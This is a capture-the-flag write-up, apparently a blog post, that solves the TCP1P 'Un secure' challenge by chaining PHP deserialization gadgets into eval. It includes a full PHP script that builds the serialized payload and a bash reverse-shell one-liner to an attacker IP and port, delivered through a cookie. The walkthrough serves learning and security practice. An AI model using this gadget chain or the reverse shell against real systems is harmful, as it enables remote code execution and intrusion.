TCP1P CTF: “Un secure” — web
In this CTF, everyone has source code of vulnerable web application and infrastructure of its to inspect. Similar to IAST pentests.
TCP1P CTF: “Un secure” — web
In this CTF, everyone has source code of vulnerable web application and infrastructure of its to inspect. Similar to IAST pentests.
Analyzing code
I have started this challenge from looking into and reviewing source code, on the screenshot you can see structure of the project:
unserialize
We can see, that function **unserialize()* is used -> more likely web application is vulnerable to Insecure Deserialization. Also we can notice "`Gadget" directories, where we can find functions, which we could use for building our payload. A "Gadget`" is a piece of code that exists in the application which can help a malicious actor to achieve a particular goal.
A single “Gadget” may not directly do anything harmful using user input. However, the attacker’s goal might simply be to use a method that will pass input to another gadget. By chaining multiple gadgets together in this way, an attacker can potentially pass input into a dangerous “sink gadget”, where it can cause maximum damage.
Firstly, we need to identify “Gadget”, that can cause damage. There is list of object’s “magic” methods, that can executed in deserialization:
__wakeupis called when an object is deserialized.__unserializeis called instead of__wakeupif it exists.__destructis called when PHP script end and object is destroyed.__toStringuses object as string ( also can be used to read file or more than that based on function call inside it.)
So lets dive into analyzing source code:
GadgetOne/Adders.php:
<?php
namespace GadgetOne {
class Adders
{
private $x;
function __construct($x)
{
$this->x = $x;
}
function get_x()
{
return $this->x;
}
}
}
GadgetThree/Vuln.php
<?php
namespace GadgetThree {
class Vuln
{
public $waf1;
protected $waf2;
private $waf3;
public $cmd;
function __toString()
{
if (!($this->waf1 === 1)) {
die("not x");
}
if (!($this->waf2 === "\xde\xad\xbe\xef")) {
die("not y");
}
if (!($this->waf3) === false) {
die("not z");
}
eval($this->cmd);
}
}
}
GadgetTwo/Echoers.php
<?php
namespace GadgetTwo {
class Echoers
{
protected $klass;
function __destruct()
{
echo $this->klass->get_x();
}
}
}
These functions are loaded by “autoload.php” so we can use them during building our payload.
Constructing the payload
It is important to notice, when deserialization occurs, script which handle decerialization does not need any __constructors to deserialize objects.
Firstly, we should consider chain of gadgets for exploitation and how they will be connected with each other:
-
Vuln.
*__toString*: We can see the vulnerable function "eval()" in classVuln,which have parameter value of$cmdvariable. Okay, it will be goal to to execute our command using "magic" function_toStringand have in the same moment command for execution in parameter$cmd-> we will create the objectVuln(1,"\xde\xad\xbe\xef",false,"CODE TO EXECUTE") -
Adders.
*get_x*: this function return value of$this->xas string, so we can pass objectVulnin variable x. So, we will pass previously created objectVuln(...)as parameter toAdders($vuln_object) -
Echoers.
***__destruct*: this "magic**" will be executed after finishing the php script, which processes one request AND it will run this command:
..
echo $this->klass->get_x();
...
we see, that we should pass to the parameter $this->klass created object Adders($vuln_object) -> Echoers($adders_object($vuln_object)) and this our final goal - to construct this chain of embedded objects
Let’s write simple PHP script using these gadgets(functions), that create for us serialized object + encode it to base64:
( BTW: I spend really lots of time debugging script, and finally I found lacking of namespaces before class declaration😂, but in the script below everything is fixed)
<?php
namespace GadgetThree {
class Vuln
{
public $waf1;
public $waf2;
public $waf3;
public $cmd;
function __construct($waf1, $waf2, $waf3, $waf4)
{
$this->waf1 = $waf1;
$this->waf2 = $waf2;
$this->waf3 = $waf3;
$this->cmd = $waf4;
}
function __toString()
{
if (!($this->waf1 === 1)) {
die("not x");
}
if (!($this->waf2 === "\xde\xad\xbe\xef")) {
die("not y");
}
if (!($this->waf3) === false) {
die("not z");
}
eval($this->cmd);
}
}
}
namespace GadgetOne {
class Adders
{
private $x;
function __construct($x)
{
$this->x = $x;
}
function get_x()
{
return $this->x;
}
}
}
namespace GadgetTwo {
class Echoers
{
protected $klass;
function __construct($klass)
{
$this->klass = $klass;
}
function __destruct()
{
echo $this->klass->get_x();
}
}
}
namespace basic {
$vuln_object = new \GadgetThree\Vuln(1,"\xde\xad\xbe\xef",false,"system('echo BASE64_REV_SHELL | base64 -d | bash ');");
$adders_object = new \GadgetOne\Adders($vuln_object);
$echoers_object = new \GadgetTwo\Echoers($adders_object);
$sirealized_encoded_payload = base64_encode(serialize($echoers_object));
echo "\n\n";
echo $sirealized_encoded_payload;
echo "\n\n";
}
instead of BASE64_REV_SHELL please you can pass any command, which base64 encoded
lets execute this script:
constructing vulnerable object for deserialization
Exploiting vulnerability with payload
now, we constructed payload and lets use try it on our target but before that we should put correct base64 command insted of BASE64_REV_SHELL:
My favorite is:
bash -i >& /dev/tcp/<IP>/<PORT> 0>&1
Let’s pass the payload and see if we don’t make any mistake during writting it:
passing the payload in cookie
it waits… Let’s check our listener:
Hooray! We solved it!
Thank you for your time! :)
References
메타데이터
- post_id
- f5b546762fd2
- slug
- tcp1p-ctf-un-secure-web-f5b546762fd2
- url
- https://medium.com/@hataman/tcp1p-ctf-un-secure-web-f5b546762fd2
- canonical_url
- https://medium.com/@hataman/tcp1p-ctf-un-secure-web-f5b546762fd2
- author_url
- https://medium.com/@hataman
- status
- ok
- fetched_at
- 2026-07-25 02:22:02